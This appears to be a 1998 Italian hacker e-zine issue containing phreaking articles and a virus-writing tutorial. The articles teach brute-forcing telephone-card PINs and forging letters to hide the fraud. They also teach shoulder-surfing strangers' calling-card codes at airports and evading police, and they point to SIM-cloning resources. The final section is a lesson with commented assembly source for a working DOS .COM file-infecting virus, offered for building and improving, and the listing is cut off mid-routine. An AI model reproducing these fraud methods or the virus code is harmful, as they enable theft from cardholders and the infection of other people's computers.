ÈÍPHREAKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ CARTE Di CREDiT0 TELEF0NiCHE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍͼ

TITOLO: Carte di credito telefoniche
AUTORE: LeLe
CONSUMO: Qualche litro di aria
1 bicchiere di coca(ina) ;-)
1 toast
THANX: Roberta, pIGpEN, bELFy, ins4ne & BFI 98 in general.

Nel breve articolo che ho scritto ho intenzione di parlarvi della carta "CALL
IT OMNIA" di Telecom Italia. Essa consente di effettuare chiamate in Italia e
da/verso l'estero, addebitando la telefonata o su bolletta telefonica o su
conto corrente bancario o ancora su carta di credito commerciale.
Ma se volete le solite informazioni commerciali basta che andiate a leggere
pag. 17 dell'elenco telefonico. Quello che a noi piu' interessa ora e'
l'aspetto tecnico-pratico.
La "CALL IT OMNIA" si presenta con le dimensioni standard di una carta di
credito, con una banda magnetica sul retro. Questo particolare permette
l'utilizzo della carta nelle cabine telefoniche munite di lettore apposito.
Una volta inserita la scheda, questa deve essere tolta subito e su display
dell'apparecchio appare la richiesta del CU (Codice Utente) e quindi dovra'
essere inserito un numero (PIN) di 4 cifre.
L'interessante della carta e' che puo' essere sfruttata senza possederla, ed
anche da alcuni telefoni privati (esclusi cellulari), tramite il servizio 143.
A questo numero risponde un centralino automatico a cui dovete fornire il
numero di contratto ed il PIN della ...ehm...ehm... VOSTRA carta. Il numero di
contratto e' impresso sulla tessera ed ha 7 cifre.
Bisogna dire che alla Telecom non hanno capito bene cosa voglia dire sicurezza,
poiche' 4 cifre di PIN non sono molto difficili da trovare con un semplice
programmino.
Unico inconveniente e' che dopo il terzo tentativo non andato a buon fine, il
143 vi passa l'operatore e sfido a spiegargli che state scomodando alcune
centinaia di PIN.
Un altro problemino e' dato dal fatto che l'intestatario puo' richiedere
gratuitamente la documentazione del traffico, in modo da registrare tutte le
chiamate effettuate tramite la carta.
Per ovviare a questo "inconveniente" potreste inviare alla filiale Telecom di
appartenenza una lettera in cui a nome dell'intestatario chiedete la
sospensione della documentazione.
Il nome dell'intestatario e' anch'esso impresso sulla carta, assieme alla data
di inizio di validita' della carta.
Personalmente ritengo che il sistema sia valido, specie se volete utilizzare un
POP di un provider lontano da casa vostra e quindi interurbana.
In sintesi cio' che dovete procurarvi sono quanti piu' numeri di contratto
possibile, poiche' per il PIN basta un po' di buona volonta'.

Grazie per il tempo che avete perso leggendo questo articolo; spero non vi
abbia annoiato. La prossima volta, se ne avrete voglia, vi raccontero' qualcosa
sul PNN ovvero il nuovo PIANO NAZIONALE DI NUMERAZIONE che riguardera' tutta
l'Italia e rivoluzionera' il sistema attuale.

Grazie ancora e speriamo di leggerci presto nei prossimi numeri di BFI

LeLe

NOTA DI pIGpEN: Io mi permetterei di indirizzare un paio di secondi della
vostra vita a questo ragazzo e alla sua buona volonta' di tirar avanti
alla grande il povero pig alla fine di questo anno scolastico del cazzo,
grazie davvero per il semplice fatto di averti compagno di banco :)


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ TELEC0M FUCKiNG UPDATE ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Dopo aver letto l'articolo di LeLe (Carte di credito telefonica) vorrei fare
qualche precisazione. E' vero che la carta Call It della Telecom ha la facolta'
di poter essere usata senza averla tra le mani, ma conoscendone semplicemente
il codice PIN, ma questa e' l'ultima carta che utilizzerei per chiamare
gratuitamente poiche' e' quella che ti fa sgamare piu' rapidamente.
Infatti se il titolare si dovesse accorgere di qualcosa di strano sulla sua
bolletta potrebbe tranquillamente chiedere alla TELECOM la sospensione del
servizio e la notifica di TUTTI i numeri comprensivi di date e di luoghi
con conseguente sole a scacchi e sedere rosso.
Ora il punto e': la telecom cosa fa per prevenire tutto questo?
Fa indagini segrete in collaborazione con i pulotti che aspettano di beccarti
in flagrante nel mentre chiami e registrando magari le telefonate.
Quindi sconsiglio a tutti quelli che vogliano chiamare gratis di usare questo
metodo in quanto INUTILMENTE pericoloso. Lo stesso metodo descritto da LeLe
non vale mica solo per le Carte "CALL IT", ma per ogni tipo di carta PREPAGATA
emessa dalla TELECOM ITALIA. Pensate a quando partite per l'estero e vi
comprate magari all'aereoporto una bella CARTA DI CREDITO INTERNAZIONALE della
Telecom.
Il funzionamento di base e' lo stesso solo che c'e' una bella differenza, il
servizio in questo caso e' PREPAGATO e di conseguenza alla Telecom non gliene
frega un cazzo di come la usiate e nemmeno se la hanno usata a sbafo perche'
loro i soldi li hanno gia' beccati!!!!!
Mi ricordo quelle orette ai telefoni pubblici di un bel College che mi
fruttavano centinaia di crediti telefonici con conseguente chiamate gratis
a casuccia.
Il punto di vista Tecnico e' questo: Voi vi piazzate al telefono e fate finta
di parlare con mammina. Al telefono affianco compare il cazzone che deve
chiamare a casa con la sua bella tessera. 9 volte su 10 non pensa a coprirsi
il numero (PIN) e voi ve lo memorizzate (anche se e' un po' difficile) oppure
ve lo appuntate in modo da non destare sospetti (magari mettendo un prefisso
italiano prima e facendo finta che vi stessero dettando un numero al telefono
e poi chiudete e ve ne andate. Piu' tardi andate a fare voi il numero verde
della telecom che viene fornito sulla Carta (poiche' varia da paese a paese) e
quando vi chiede il codice di identificazione voi ci infilate quello del
CAZZONE e chiamate a spese sue!!!!
Il cazzone intanto deve fare un'altra chiamata, si avvicina al telefono, compie
tutte le operazioni necessarie e si sente dire "ci dispiece comunicarle che il
suo credito residuo e' terminato" con conseguente bestemmia e magari rottura
del telefono (del tipo "Porca puxxana mi hanno fottuto i soldi" o "che caxxo
succede avevo tanti crediti e ora non ce ne sono piu'?!?").
Se il CAZZONE e' cazzuto, al rientro in Italia si rivolgera' alla TELECOM
chiedendo spiegazioni e la TELECOM non fara' niente altro che NIENTE, dicendo
che la colpa e' dell'utente che non ha tenuto segreto il PIN (che in questo
caso diventa di una decina di cifre e non e' personale, ma assegnato a caso dal
computer della Telecom) e chiudendo li' il caso, anche perche' quelle
telefonate le sono state gia' pagate.
Allora il cazzone che tutto sommato ha perso una 50ina di mila lire ci lascia
stare e se ne va a casa (io dubito anche che qualcuno si sia mai rivolto alla
Telecom per il rimborso scheda).
NON so se sia possibile, MA NON CREDO PROPRIO, richiedere i numeri effettuati
e quindi risalire a voi, ma NON E' POSSIBILE che le autorita' vi vengano a
rompere i coglioni per varie ragioni. Numero 1 voi potete sempre dichiarare
di avere avuto una tessera prepagata con lo stesso PIN e di averla buttata
dopo averla esaurita (non siete mica tenuti a conservarla dopo l'uso!!)
denunciando una specie di errore di STAMPA o di assegnazione del numero con
conseguente archiviazione rapida del caso e NUMERO 2 (importantissimo) il fatto
e' avvenuto all'estero e la POLIZIA o FINANZA che sia non puo' indagare su
fatti avvenuti all'estero.
Insomma, questo lo dico per i PARANOICI, secondo me e' piu' facile che vi
sgamino in flagrante mentre vi duplicate una cassetta audio per sentirvi la
musica con il walkman e vi arrestino per pirateria contro il mercato della
musica (condannandovi pure!!) o che si buchi il preservativo mentre vi
scopate una bellissima ragazza e vi becchiate 5 gemelli e una suocera Transex
invece che vi rompano i coglioni per aver usato una prepagata altrui!!.
Il fatto interessante e' che non si possono utilizzare solo dall'estero e che
la telecom italia non e' l'unica produttrice di schede del genere.
L'Italia e' uno dei pochi paesi che utilizza un sistema di schede prepagate
su un supporto magnetico avendo fornito ogni cabina di un lettore (di persona
ho visto un altro solo sistema del genere, si trova in Grecia e usa chip come
quelli del GSM invece di supporti magnetici) a causa dell'alto costo degli
apparecchi e dell'estrema facilita' di riprodurre le schede con un po' di
conoscenza tecnica (e che caxxo!!!!!!) e sopratutto le macchine adeguate, di
conseguenza i grandi paesi (ne cito un paio a caso: gli USA (li conoscete??) e
la Gran Bretagna) hanno adottato questo sistema molto piu' semplice anche se
piu' complicato da usare.
In questo modo le compagnie tipo la AT&T sono riuscite a vendere un ingente
quantita' di scatti prepagati a prezzi scontati a delle compagnie che poi li
dividevano in schede e li vendevano rialzandone il prezzo e "sgobbandoci su".
Le schede prepagate sono quindi vulnerabili solo per il cattivo uso fatto dai
consumatori e non per la bassa sicurezza del servizio.
In questo modo negli States ho fatto incetta di carte e numeri che poi ho
utilizzato anche dall'Italia chiamando gratis ovunque sul globo poiche' il
numero verde da chiamare e' riportato sulla carta ed esiste in tutti i paesi
del mondo (specialmente per le carte prepagate dell'AT&T) in modo da renderle
utilizzabili da ogni parte del globo e a prezzi uguali per le chiamate
all'estero (cosa che le carte magnetiche prepagate della telecom si sognano,
al limite le puoi usare come tagliacarte all'estero :-((
Di conseguenza se volete procurarvi qualche numerino utile andate
all'aereoporto internazionale piu' vicino, mettetevi ad un telefono pubblico e
buon divertimento!!!!
Al piu' presto cerchero' di farvi avere una lista dei Produttori di carte di
Credito Telefoniche con relativo numero verde d'accesso dall'Italia, cosi'
l'unica vostra preoccupazione sara' quella di leggere il produttore (il marchio
della tessera) e di copiarvi il numero di IDENT (che ho chiamto PIN per
comodita').

A presto Ph d'Italia.
|PazzO|


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÄÄÄÄÄÄÄÄÄ VARiE ED EVENTUALi SU GSM E TiM ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍͼ

Bello il TXT wow... Quanto tempo che non si scriveva piu' in "plain" text.
Con l'unico problema che, scritto cosi', chi ha Unix deve togliere tutti i CR
e chi ha il MAC deve togliere tutti i LF :(
Ma bando alle ciance. Non so ancora cosa ci sara' su questo pseudo articolo.
Solo tanti spunti e tante informazioni su fatti piu' o meno noti, senza forse
un filo logico se non quello di cercare di risparmiare qualche soldo ;)

1) Mandare SMS da Internet
Dopo tante ricerche, tanti siti che aprono e chiudono, ne ho solo piu' 2 che
funzionano e che uso regolarmente:

http://www.mtn.co.za/regualrs/sms
http://ukphone.areti.co.uk/phone/html/sms_gateway.html

Li ho provati con TIM e con altri provider stranieri, e sembrano funzionare
bene.

Altro modo: se avete una carta Omnitel potete collegarvi su www.omnitel.it
e abilitarvi i servizi SMS gratis via internet. Oppure segnalate questo fatto
ad un vostro amico, ed in cambio chiedetegli il favore di utilizzare questo
servizio insieme a lui (ricordatevi che nessuno paga niente, a parte il
collegamento su internet!).

2) Informazioni, trucchi e segreti sui telefoni GSM
La maggior parte dei trucchi e informazioni sui telefoni cellulari sono state
da poco raggruppate sotto ad un'unica url:

http://www.mobileworld.org

Vengono coperte un po' tutte le marche dei telefoni, ma per quel che riguarda
i Motorola le pagine migliori sono sempre quelle di Janus Christian Krarup,
che potete trovare qui:

http://www.image.dk/~jkrarup

anche il tanto famoso "problema" sul come abilitare il clock sull'8700.
Purtroppo li' non ci sono (o sono scritte male) alcune informazioni, tipo
quelle che dovrebbero far parte delle specifiche ETSI GSM 02.30.
Provatele con TIM e OMNITEL, e riprovatele ogni tanto, puo' darsi che verranno
abilitate tutte prima o poi.
D'ora in poi mi riferiro' ad "OK" intentendo dire il tasto che di solito
si usa per iniziare una chiamata.
Premendo 0 e poi OK, si hanguppano tutte le chiamate, e se ce n'e' una ancora
da attivare viene messa ad "occupato". Questo puo' servire se vogliamo
simulare di essere occupati quando qualcuno ci chiama. Al posto di rispondere,
basta premere 0 e poi OK.
Premendo 1 e poi OK, vengono hanguppate tutte le call e accettata quella
in arrivo.
Premendo 1X e poi OK, viene hanguppata la chiamata numero X (la prima ha il
numero 1).
Premendo 2 e poi OK, tutte le chiamate vengono messe in attesa e viene
accettata quella in arrivo.
Premendo 2X e poi OK, tutte le chiamate vengono messe in attesa e viene
attivata quella specificata da X.
Premendo 3 e poi OK, succede una cosa carina: viene aggiunta la chiamata che
era in attesa alla conversazione corrente, ovvero si parla in 3.
Facendo un numero (ma questo dovreste gia' saperlo ;) e poi OK, si mettono
in attesa tutte le chiamate e viene attivata quella per cui si e' fatto
il numero.

3) Trovare il PIN delle schede GSM
Questa e' una descrizione "a parole" per convincere chi vuole trovare il PIN
delle schede SIM a desistere. Una SIM, dalle ultimissime news, si puo' clonare,
ma se il PIN e' abilitato _NON_ si puo' scoprire.
Per informazioni su come clonare una SIM card, andate a

http://www.scard.org/gsm

La carta GSM ha al suo interno un vero e proprio microprocessore, con tanto di
massa, alimentazione, linea dati, eeprom, e altre diavolerie.
Quando si inserisce il PIN e lo si sbaglia, tale informazione viene scritta
in eeprom in modo PERMANENTE sulla scheda. Quindi, anche spegnendo il telefono
o portando la scheda su di un altro apparecchio, il numero di tentativi
effettuati con il PIN sbagliato viene ricordato. Quindi...
NON C'E' MODO di sapere il PIN di una carta agendo a forza bruta. Al quarto
tentativo la carta richiede il PUK.
E non c'e' neanche modo di "leggere" il PIN internamente: la richiesta viene
fatta alla cpu della carta, la quale risponde "ok il PIN (e non il prezzo ;)
e' giusto" oppure "no e' sbagliato".
Non e'... _NON E'_ il telefono che si fa dire il PIN dalla carta e lo confronta
con quello digitato.
Quindi anche costruendosi "in casa" un lettore di carte SIM e' impossibile
risalire al PIN.
Stesso discorso vale per il PUK, con la sola differenza che si puo' sbagliare
per 9 volte, dopodiche' la cpu si autodistrugge (non e' proprio cosi', ma
il risultato e' lo stesso) ed e' necessario sostituire la carta.

4) Risparmiare un po' con i cellulari
Due notizie veloci, che ora magari saranno note a tutti ma... Chissa' :)
Con il servizio Timmy prepagato Telecom, tariffa Rossa, dalle 22.30 alle
07.00 il costo e' di lire 95+IVA al minuto.
Quando poi il credito e' alla fine, l'ultima chiamata dura di piu'; da prove
da me effettuate, si va dai 20 ai 40 minuti.
Consiglio quindi: lasciate 200 lire per l'ultima chiamata, e poi chiamate
"a sbafo": con 200 lire andrete avanti almeno per 20 minuti :)))

5) GSM? GPS!!!
Scherzi a parte, c'e' un servizio che ai clienti Omnitel viene abilitato di
default e che visualizza sul telefonino il nome della citta' da cui si chiama.
E' accessibile anche ai clienti TIM, ed e' gratis. Quindi perche' non usarlo?
Ogni telefono e' differente in questo caso, quindi questa e' per forza di
cose la descrizione generale.
Bisogna cercare, nel menu' degli SMS, la voce "broadcast", ed abilitare il
canale 50. Dopo un po' di secondi si dovrebbe vedere apparire il nome della
citta'.

6) ROOT non su console
Su SunOs, e devo ancora provare con Linux, non e' possibile solitamente entrare
come root se non dalla console. Qualsiasi tentativo tramite telnet, anche
avendo la pass di root, non porta a nessun risultato.
Che fare? Semplicemente, entrate come un utente normale, e poi e' sufficiente
fare un su come root. Funziona ;)

E per questa volta e' tutto... Ovviamente tutti i consigli, suggerimenti,
critiche e/o richieste sono ben accette all'indirizzo shanhy@hotmail.com

Shanhy


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍViRiiÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ ViR0PEDiA v1.0 ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Teoria & Tecnica della Programmazione Virale
III-IV parte

TERZA LEZIONE
Programmazione di un virus ad azione diretta in Assembly

Il secondo virus sara' progettato e realizzato in Asm, ma come ogni buon
programmatore, ci conviene sintetizzare "a parole nostre" l'algoritmo del
nostro virus, che infettera' i file di tipo COM.

Algoritmo generico del virus_sample2 :

CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
 ³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ si': CERCA SUCCESSIVO FILE ÄÄÄÄÙ
³
³
³

no: INFETTALO

Grosso modo lo schema e' questo, solo che e' anche troppo sintetizzato! Come
funziona la routine di infezione vi chiederete? "Estendiamo" un poco il codice
del nostro algoritmo:

Algoritmo generico del virus_sample2 :

CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
 ³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ si': CERCA SUCCESSIVO FILE ÄÄÄÄÙ
³
³
³

no: INFETTALO: APRI FILE R/W
LEGGI INTESTAZIONE (4 BYTES)
POSIZIONA ALLA FINE DEL FILE
SCRIVI CODICE DEL VIRUS
POSIZIONA ALL'INIZIO DEL FILE
SCRIVI "salto" AL CODICE DEL VIRUS
CHIUDI FILE

Va bene? Ancora non basta, si puo' fare di meglio inserendo il codice di
controllo per la protezione da attrib (+R=sola lettura) e una routine di
salvataggio/ripristino della data/ora di creazione per evitare che vengano
modificate.

Algoritmo generico del virus_sample2 :

CERCA PRIMO FILE COM
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ ³
 ³
E' GIA' INFETTO? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ si': CERCA SUCCESSIVO FILE ÄÄÄÄÙ
³
³no
³

LEGGI E SALVA attrib DEL FILE
³
³
³

attrib = (+R)? ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ si': IMPOSTA attrib = (-R) ÄÄÄÄ¿
³ ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
³no

INFETTALO: APRI FILE R/W
³ LEGGI E SALVA data/ora DEL FILE
³ LEGGI INTESTAZIONE (4 BYTES)
³ POSIZIONA ALLA FINE DEL FILE
³ SCRIVI CODICE DEL VIRUS
³ POSIZIONA ALL'INIZIO DEL FILE
³ SCRIVI "salto" AL CODICE DEL VIRUS
³ RIPRISTINA data/ora DEL FILE
³ CHIUDI FILE
³

RIPRISTINA attrib SE E' STATO MODIFICATO

Ed ecco come tradurre in codice Assembly (ASM) il seguente algoritmo. Tengo a
precisare che quello che segue ora e' un semplicissimo (alquanto banale) virus
scritto in ASM, tuttavia e' l'ideale per iniziare a capirci qualcosa, specie
nella programmazione. Il sorgente e' ampiamente commentato (i commenti sono
preceduti da ';') e puo' essere compilato utilizzando il Turbo Assembler
(almeno la versione 2.0). Il virus sample n.2 e' un parassita dei file COM ad
azione diretta, lungo 460 bytes (veramente poco!!) che non ha nessuna
attivazione dannosa particolare. Servira' come base per iniziare, vedremo dopo
infatti come iniziare a modificare il virus per renderlo piu' potente e
migliorarlo notevolmente.

-----------------------iNiZi0-----------------------

; VIRUS SAMPLE 02
; for VIROPEDIA of SoftProject

; DIRECT FILE INFECTOR FOR .COM (460 BYTES)

.MODEL SMALL
.CODE
ORG 100H ; offset del virus

; per compilare usare il TURBO ASSEMBLER
;
; TASM VIRUS2.ASM
; TLINK VIRUS2 &t

;il programma e' suddiviso in 2 aree
;un'area contenente DATI, VARIABILI, BUFFER VUOTI
;e un'area contenente il CODICE ASM del virus
;
; +-----------------------+
; + testa del programma +--------\ JMP (salto)
; +-----------------------+ |
; + AREA DATI + |
; + . . . . . + |
; + . . . . . + |
; +-----------------------+

  
|
; + AREA CODICE + <------/
; + . . . . . +
; + . . . . . +
; +-----------------------+
;
;
;-------------------------------------------------------------
; TESTA DEL PROGRAMMA
;-------------------------------------------------------------
PROGRAM_ENTRY_POINT: JMP CODE_SECTION ; salta a CODE?SECTION
; il virus inizia li'

;-------------------------------------------------------------
; AREA DATI
;-------------------------------------------------------------
DATA_SECTION:
blank_space DB 00 ; spazio vuoto necessario
inf_mark DB 0F5h ; marcatore d'infezione
all_com DB "*.COM",00 ; tutti i file COM
nome_file DB "xxxxxxxx.xxx",00 ; conterra' il nome del file
intestaz DB 00,00,00,00 ; header del file COM
file_attrib DW ? ; attributo del file COM
gestore DW ? ; gestore del file COM
lunghezza DW ? ; lunghezza del file COM
virus_jump DB 0E9h,00,00,245D ; jump che punta al virus nel file
vecchio_segmento_DS dw ?
vecchio_segmento_ES dw ?
copyright db "VIROPEDIA SAMPLE 2 - SOFTPJ-98"

;rilocatore (totale 25 bytes)
rilocatore;
PUSH CS ;0E salva il segmento di ritorno
MOV DX,100h ;B80001 l'offset di ritorno e' 100h
PUSH DX ;52 salva l'offset di ritorno
MOV AX,CS ;8CC8 calcola la rilocazione con CS
ADD AX,0000 ;050000 0000 sara' sostituito
PUSH AX ;50 salva il nuovo segmento
PUSH DX ;52 salva l'offset 100h del virus
MOV SI,100h ;BE0001 bisogna pero' prima riportare
MOV WORD PTR [SI],0000 ;C7040000 l'intestazione del file come
MOV WORD PTR [SI+2],0000 ;C744020000 era in origine.
RETF ;CB rilocazione!

;-------------------------------------------------------------
; AREA CODICE
;-------------------------------------------------------------
CODE_SECTION:
;inizializzazione di alcuni registri di segmento
MOV vecchio_segmento_DS,DS ;conserva in due variabili i registri di
MOV vecchio_segmento_ES,ES ;segmento DS e ES per ripristinarli alla fine

MOV AX,CS ;aggiorna i registri DS e ES al nuovo
MOV DS,AX ;segmento con il codice del virus, che
MOV ES,AX ;e' CS (viene copiato in AX e passato)

;il virus e' ad azione diretta, quindi va a cercare
;il primo file *.COM nella directory corrente
;la funzione usata e' AH=4Eh dell'INT 21h
;in DX carichiamo l-indirizzo che punta al file da cercare
;in CX l'attributo da cercare (0000=+A e +R)
MOV AH,4Eh
MOV CX,0000
MOV DX,OFFSET all_com
INT 21h
JNC LEGGI_NOME
JMP FINE

;se viene trovato un file COM allora si procede alla
;memorizzazione del nome in una variabile (nome_file)
;il nome viene restituito dalla funzione 4Eh all'indirizzo
;della DTA+30d (80h + 30d = 9Eh)
;la DTA (data transfer area) e' una zona di memoria che
;si trova nel PSP del programma, quindi e' localizzata
;al segmento di esecuzione originale DS, offset 80h
LEGGI_NOME:
MOV SI,009Eh
MOV DI,OFFSET nome_file
MOV DS,vecchio_segmento_DS
MOV CX,12d ;un nome file e' 12 caratteri max.
CLD
REPNZ MOVSB ;sposta la stringa da SI a DI
PUSH CS
POP DS

;si procede all'apertura del file
;la funzione e' AH=3Dh, AL=modalita' di apertura (00=read)
;in DX carichiamo l'indirizzo con la stringa del nome del file
MOV AX,3D00h
MOV DX,OFFSET nome_file
INT 21h

;andiamo a leggere l'intestazione del file (4 bytes in tutto)
;usando la funzione AH=3Fh e il gestore del file ottenuto
;dall'apertura (BX contiene il gestore)
;CX=numero byte da leggere
;DX=indirizzo della variabile dove saranno memorizzati i bytes
MOV BX,AX
MOV AH,3Fh
MOV CX,4
MOV DX,OFFSET intestaz
INT 21h

;chiudiamo per il momento il file
MOV AH,3Eh
INT 21h

;andiamo a controllare se il file e' gia'
;infetto o no. Il nostro marcatore di infezione
;(infection mark) e' il codice ASCII "F5h"
;localizzato al 4 byte del file
MOV AH,[intestaz+3]
CMP AH,inf_mark
JNE COM_CONTROL
JMP FILE_SUCCESSIVO

;se il file non e' infetto dobbiamo verificare di che
;tipo e'; il nostro virus lavora sui COM, se il file
;e' un EXE allora bisogna lasciarlo stare.
;tutti i file EXE hanno la particolarita' di iniziare
;con una word speciale chiamata "MZ", se questa word c'e'
;allora il file e' di sicuro un EXE
COM_CONTROL:
MOV AX,WORD PTR [intestaz]
CMP AX,"ZM"
JNE LEGGI_ATTRIB

;se il file trovato non soddisfa i requisiti di vittima
;allora il virus passa a cercare il prossimo file
;se non ci sono piu' file il virus termina qui e restituisce
;l'esecuzione al programma originale di cui e' ospite
;(routine FINE)
FILE_SUCCESSIVO:
MOV AH,4Fh
INT 21h
JNC LEGGI_NOME
JMP FINE

;ok, il file trovato e' una vittima ideale, controlliamo se ha
;l'attributo di read/only (+R) che lo protegge
;la funzione usata e' AH=43h AL=00 (legge attributo)
;DX=indirizzo del nome del file
LEGGI_ATTRIB:
MOV AX,4300h
MOV DX,OFFSET nome_file
INT 21h
MOV file_attrib,AX ;memorizza attributo del file

;l'attributo normale di archivio (+A) e' 20h
;se il file non ha questo attributo gli viene
;impostato dal virus
CMP AX,0020H
JE APRE_FILE_RW
MOV AX,4301h
MOV CX,0020h
MOV DX,OFFSET nome_file
INT 21h
JNC APRE_FILE_RW
JMP FINE

;apriamo il file in lettura/scrittura (AH=3Dh AL=02)
APRE_FILE_RW:
MOV AX,3D02h
MOV DX,OFFSET nome_file
INT 21h
MOV gestore,AX
JNC CALCOLA_LUNGHEZZA
JMP RESTORE_ATTRIB

;ci posizionamo alla fine del file, cosi' possiamo
;sapere quanto e' lungo
CALCOLA_LUNGHEZZA:
MOV AX,4202h
MOV BX,gestore
XOR CX,CX ;azzera CX
XOR DX,DX ;azzera DX
INT 21h

;verifichiamo che il file non superi il limite dei 64K
;e che non sia nemmeno troppo piccolo
;la grandezza e' memorizzata in DX:AX
CMP DX,0
JE LIMITE_GRANDEZZA
JMP CHIUDE_FILE
LIMITE_GRANDEZZA:
CMP AX,63000d ;Limite superiore < 63.000 bytes
JA CHIUDE_FILE
CMP AX,200d ;Limite inferiore > 200 bytes
JB CHIUDE_FILE

;ci troviamo ora alla fine del file vittima, e andiamo a
;scrivere un rilocatore, cioe' una routine che serve ad aggiustare
;il punto di esecuzione del virus nel file. Il virus e' stato
;scritto all'indirizzo 100h, quindi puo' girare solo se viene
;eseguito a questo indirizzo. Quando viene scritto nel file,
;la sua posizione cambia di volta in volta (non sara' 100h),
;cosi' usiamo un rilocatore che serve a far eseguire il nostro
;virus sempre all'indirizzo 100h
;il programmino del rilocatore e' definito nell'area dati
;AX contiene ancora la grandezza del file
MOV lunghezza,AX

ADD AX,25d ;aggiunge la dimensione del rilocatore
ADD AX,10h ;aggiustamento decimale per far
AND AL,11110000b ;quadrare la dimensione del file
MOV CX,4
MOV WORD PTR [RILOCATORE+8],AX
SHR WORD PTR [RILOCATORE+8],CL ;SHR con CX=4 e' una divisione per 10

MOV SI,WORD PTR [intestaz] ;prepara la routine del rilocatore
MOV WORD PTR [RILOCATORE+17],SI ;che ha il compito di andare a
MOV SI,WORD PTR [intestaz+2] ;ripristinare le prime istruzioni del
MOV WORD PTR [RILOCATORE+22],SI ;file original (in tutto 4 bytes)

MOV CX,AX ;calcoliamo la lunghezza effettiva
SUB CX,lunghezza ;del rilocatore
MOV AH,40h ;scriviamo il rilocatore
MOV BX,gestore
MOV DX,OFFSET rilocatore
INT 21h

;memorizziamo il punto dove verra' agganciato il virus
;dentro al file, quindi scriviamo il corpo del virus
;in coda al file (append)
;la funzione di scrittura e' AH=40h dell'INT 21h
;BX=gestore del file in uso
;CX=numero di byte da scrivere
;DX=inizio del buffer con i byte da scrivere
SCRIVE_CORPO_VIRUS>
MOV AH,40h
MOV BX,gestore
MOV CX,OFFSET (END_OFFSET-PROGRAM_ENTRY_POINT)
MOV DX,OFFSET PROGRAM_ENTRY_POINT
INT 21h

;risaliamo quindi alla testa del file
MOV AX,4200h
MOV BX,gestore
XOR CX,CX
XOR DX,DX
INT 21h

;modifichiamo la prima istruzione del file
;scrivendo un salto (JMP) che punta al virus
;la struttura del programma infetto diventa questa:
;
; +-----------+
; + JMP virus +-------------\
; +-----------+ |
; /---------> prog + |
; | + .... + |
; | + .... + |
; | + .... + |
; | +-----------+ |
; | + VIRUS <---------------/
; | + ..... +
; | + ..... +
; \------+ RETF prog +
; +-----------+

MOV AX,lunghezza
SUB AX,3
MOV WORD PTR [virus_jump+1],AX ;indirizzo della JMP che punta al virus

MOV AH,40h
MOV BX,gestore
MOV CX,4
MOV DX,OFFSET virus_jump
INT 21h

;chiude il file una volta finita l'infezione
CHIUDE_FILE:
MOV AH,3Eh
MOV BX,GESTORE
INT 21h

;ripristina il vecchio attributo del file
RESTORE_ATTRIB:
MOV AX,4301h
MOV CX,file_attrib
MOV DX,OFFSET nome_file
INT 21h

;fine del virus, quando si arriva qui ripristiniamo
;le condizioni iniziali per far ripartire il programma
;vittima che ospita il virus.
FINE:
POP DX
CMP DX,100H ;questo controllo viene fatto per vedere
JE RETURN_TO_PROG ;se il virus e' il primo campione uscito dal
;sorgente (capostipite, first sample)
MOV AX,4C00h ;in questo caso il programma termina come un
INT 21H ;normale file DOS

RETURN_TO_PROG: ;se il virus invece e' in esecuzione
MOV DS,vecchio_segmento_DS ;da un file infetto allora deve restituire
MOV ES,vecchio_segmento_ES ;il controllo al suo "padrone"
XOR AX,AX ;azzera tutti i registri
XOR BX,BX
XOR CX,CX
XOR DX,DX
XOR SI,SI
XOR DI,DI
PUSH DX
